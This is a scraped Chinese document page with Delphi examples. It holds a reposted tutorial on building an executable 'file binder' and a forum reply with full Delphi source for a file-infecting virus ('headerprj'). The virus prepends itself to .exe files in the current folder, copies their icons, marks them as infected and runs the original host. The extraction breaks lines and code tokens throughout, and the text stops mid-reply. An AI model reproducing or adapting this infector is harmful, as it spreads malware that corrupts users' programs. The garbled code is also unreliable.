delphi70的经典实例5文档格式.docx
《delphi70的经典实例5文档格式.docx》由会员分享,可在线阅读,更多相关《delphi70的经典实例5文档格式.docx(23页珍藏版)》请在冰豆网上搜索。
佚名文章来源:
网络点击数:
193更新时间:
2011-4-2916:
13:
15
怎样把Delphi程序嵌入到其他程序中?
2007-02-2115:
17某个bbs站上有文章:
(想来作者不会介意我装载吧!
)
==============================================================================
文件合并器的制作方法
作者:
王昊
从想到做文件合并器到现在已经有一个多月了,但是一直没有静下心来想它的实现方法.昨天看数学看烦了,我终于忍不住扔开了书,开始着手"
文件合并器"
的编制.3小时后,终于有了眉目,今天又改了一下.现在终于能够和各位分享我的喜悦了.我愿意将我的方法写给大家,也希望各位高手不吝赐教.
先看看我们的目的:
编写一个程序A,它能够将两个可执行程序B和C合并在一起,形成
一个新的可执行程序D.要让用户执行D的时候,相当于同时运行B和C两个程序.
我的开发工具:
我现在能够用VB和DELPHI中的任何一个开发这个软件.这次我用的是
DELPHI.如果你需要,也可以用VC或BCB来完成.
下面我用这三个小时中我考虑的东西为线索来讲讲主要的原理.
一.我的疑惑.
将两个可以执行的程序合并在一起会变成什么东西?
这是我的第一个疑惑.要解
决这个问题,首先要学会如何将两个文件合并在一起.我想到了内存流(MemoryStream),它能极方便的完成这个步骤.假设有两个可执行文件f1,f2.现在要把他们合并在一起.下面给出原代码.
var
strmSource,strmDest:
TMemoryStream;
begin
//先读f1
strmSource:
=TMemoryStream.Create;
strmSource.loadfromfile(f1);
//拷贝到strmdest
strmDest:
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.clear;
//再读f1
strmSource.loadfromfile(f2);
strmDest.seek(strmDest.size,soFromBeginning);
strmSource.free;
//这时strmDest里面便是两个文件合并后的内容了.将它保存为文件
strmDest.SaveToFile('
dest.exe'
strmDest.free;
我惊讶的发现,执行dest.exe就相当于执行f1!
!
为了确认,我将原代码中f1和f2的
读入顺序对调,得到的新的dest.exe执行竟然相当于执行f2!
(此处省略了N个感叹号).我又用同样的方法在f1
的后面添加很多无意义的字节,得到的新的f1运行竟然很正常.现在我们知道了,将两个或者多个可执行文件合并在一起,得到的新文件执行时只是执行第一个文件.这是非常关键的一步.
二.如何分离?
合并没有问题了,如何分离呢?
在知道原来的两个文件的大小的情况下,这很容易
作到.假设i1和i2是原来两个文件的大小(字节).合并后的文件是"
dest.exe"
.
Begin
//先读dest.exe
strmSource.loadfromfile('
//拷贝f1到strmdest
strmDest.copyfrom(strmSource,i1);
//保存f1
strmDest.SaveToFile(f1);
strmDest.clear;
//拷贝f2到strmdest
strmSource.seek(i1,soFromBeginning);
strmDest.copyfrom(strmSource,i2);
strmDest.SaveToFile(f2);
三.总体思路.
在解决了上述问题后,我的总体思路就出来了.假设我给用户的程序是A,它能把
B和C合并起来得到D.那么D具有什么特征呢?
D应该至少由三个部分组成(请注意是"
至少"
):
第一部分是一个可
执行的程序,我把它叫做标准程序S,他能将D的第二部分和第三部分(就是原来的可执行文件B和C)读出来,保存在磁盘上,然后执行他们.但大家看了"
如何分离"
后应该知道,只有我们知道了B和C的长度时,才能方便的从D中读出他们.而为了使D可以在另一个用户的机子上也能够运行,我认为B和C的长度信息应该保存在D的最后.于是,D应该具有四个部分:
1:
S
2:
B
3:
C
4:
长度信息
那么,既然我给用户的程序是A,那么这里的标准程序又从何而来呢?
标准程序又应该保存在哪里呢?
有两个办法.第一,给用户的程序包含两个文件,一个是A,一个是S.但我觉得这样不够爽.于是我用了另一个方法:
将S连在A的后面,成为A'
于是乎,当用户执行A'
时,A'
要求用户选择两个可执行文件B和C.当用户点击确定时,
A'
将它自身所带的S与B和C合并起来,形成D.然后,用户便可以执行D了,这时的D并不依赖于A'
.D执行时,实际上执行的是它的第一部分S,S首先从D的最后取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目
录.然后调用ShellExecute执行他们.这样就达到了我们的目的.
那么,长度信息如何定义呢?
如何将S连在A的后面呢?
S如何完成自身的功能呢?
这就是
我下面要讲的.
四.保存长度信息.
我先讲一讲如何把一个字符串写入内存流.其实我自己也不知道如何直接将一个
字符串的内容读到内存流中,于是我采取了先将字符串内容写入一个临时文件中,然后用loadformfile将文件内容读入内存流中.
然而,我们必须知道连接在D后面的长度信息的具体长度,也就是说用几个字节保
存,才能让S读出长度信息.我考虑再三,决定用32个字节来表示每个文件的长度,虽然大多数情况下,文件大小不会超出100M.
看看这里的代码:
s1,s2:
string;
f:
TextFile;
//先用上面的方法将S和B与C的内容写入strmdest,现在要在strmDest里面添加长度信息
//假设s1,s2里放有B和C的大小,先把他们变为32个字节.
whilelength(s1)<
32do
s1:
='
0'
+s1;
whilelength(s2)<
s2:
//s1存入文件
assignfile(f,'
tmp'
rewrite(f);
write(f,s1);
finally
closefile(f);
//文件内容读入strmSource
//加到strmDest后面
deletefile('
//s2存入文件
write(f,s2);
利用代码里的方法,便可将长度信息保存在D的最后了.
五.标准文件.
现在我想大家感到疑惑的就是标准文件S了,这到底是个什么玩意儿?
怎么做它?
其实,我们在前面已经讲过了,"
S首先从D的最后取得长度信息,然后根据这些长度
信息读出B和C,保存于硬盘上的某个目录.然后调用ShellExecute执行他们"
.要注意这里的S和D是在一起的,S只不过是D的第一部分.他们的文件名是一样的了.于是就变成了S的功能是从它自身的后面取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目录.然后调用ShellExecute执行他们.我想,具体的方法我前面已经讲的很清楚了.只要记住长度信息是分别用32个
字节表示的就行了.
六.完整步骤
先编写S,然后编写A.再写一个程序E将S和A连接起来,S放在A的后面,成为A'
.将A
'
发布给用户.
七.注意事项.
这个程序技巧性的确很强,但是我认为正常的人很少会用它.但对那些想散播病毒的人来说,却是一大利器.因此,我在这里要警告这部分人:
制作或散发病毒是违反法律的,将受到法律允许范围内的
最高处罚.请好自为之。
而该程序的思路则有很巧妙的应用。
你可以将DLL或其他需要的文件连接在你的程序后面.让你的程序运行时先解出这些文件。
这样就能发布只有一个执行文件的程序了,比较方便,可以帮助VB程序员发布伪“绿色软件”
好了,就写到这里。
有空我再写点经验出来。
谢谢大家赏脸看我的文章。
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:
Codehere:
//headerprj.dpr
programheaderprj;
uses
Windows,Classes,SysUtils,Graphics,ShellAPI;
const
HEADERSIZE=78336;
ICONOFFSET=$11EB8;
INFECTFLAG='
InfectedBySOJ'
;
ID=$66666666;
{$R*.RES}
var
tmpFile:
si:
STARTUPINFO;
pi:
PROCESS_INFORMATION;
sr:
TSearchRec;
Counter:
Integer;
//routines
procedureCopyStream(Src:
TStream;
sStartPos:
Dst:
dStartPos:
Count:
Integer);
sCurPos,dCurPos:
begin
sCurPos:
=Src.Position;
dCurPos:
=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
{CopyStream}
functionGetmyname:
cmdline:
String;
myname:
Array[0..255]ofChar;
i,j:
integer;
i:
=1;
j:
=0;
cmdline:
=GetCommandLine;
whilecmdline[i]<
>
chr(0)do
begin
ifcmdline[i]<
"
then
myname[j]:
=cmdline[i];
inc(j);
inc(i);
myname[j-1]:
=chr(0);
Result:
=strpas(@myname);
{Getmyname}
functionGetTempFullName:
tmpPath:
Array[1..256]ofChar;
tmpname:
GetTempPath(256,@tmpPath);
GetTempFileName(@tmpPath,'
PQR'
0,@tmpName);
=StrPas(@tmpName);
{GetTempFullName}
procedureExtractFile(filename:
string);
sStream,dStream:
TFileStream;
sStream:
=TFileStream.Create(Getmyname,fmOpenReadorfmShareDenyNone);
dStream:
=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
procedurefillstartupinfo(varsi:
state:
WORD);
si.cb:
=sizeof(si);
si.lpReserved:
=nil;
si.lpDesktop:
si.lpTitle:
si.dwFlags:
=STARTF_USESHOWWINDOW;
si.wShowWindow:
=state;
si.cbReserved2:
=0;
si.lpReserved2:
functionInfectFile(Filename:
TFilename):
Boolean;
hdrStream,srcStream:
icoStream,dstStream:
iID:
Longint;
aIcon:
TIcon;
try
ifFilename='
headerprj.exe'
thenexit;
srcStream:
=TFileStream.Create(Filename,fmOpenRead);
srcStream.Seek(-4,2);
srcStream.Read(iID,4);
if(iID=ID)or(srcStream.Size>
1000000)then
srcStream.Free;
=False;
exit;
//如果感染过了则退出
icoStream:
=TIcon.Create;
aIcon.ReleaseHandle;
aIcon.Handle:
=ExtractIcon(Hinstance,PChar(Filename),0);
//被感染文件的图标
aIcon.SaveToStream(icoStream);
aIcon.Free;
=TFileStream.Create(FileName,fmOpenRead);
hdrStream:
=TFileStream.Create(GetMyName,fmOpenReadorfmShareDenyNone);
//头文件
dstStream:
CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);
dstStream.Seek(0,2);
=$66666666;
dstStream.Write(iID,4);
finally
icoStream.Free;
hdrStream.Free;
dstStream.SaveToFile(Filename);
dstStream.Free;
=True;
except;
//主程序开始
=2;
ifFindFirst('
*.exe'
faAnyFile,sr)=0then
InfectFile(sr.Name);
while(FindNext(sr)=0)and(Counter>
0)do
ifInfectFile(sr.Name)thenDec(Counter);
FindClose(sr);
ifExtractFileName(Getmyname)='
=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'
.'
si,pi);
end.
ps:
文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
想将.tex.bmp等类型的文件做成.exe文件。
看过人家的软件,心中羡慕,痒痒。
谁解析一下?
最好有原代码。
c,delphi的都可以。
给好多的分分啊
^_^,我来试试?
1.如果只是把一幅图作在文件中.最简单了.把显示图形的代码写好,然后把图形文件
LOATFROMFILE,写到自己程序的最后,在文件尾部把图形数据的起点标识.OK了.
比如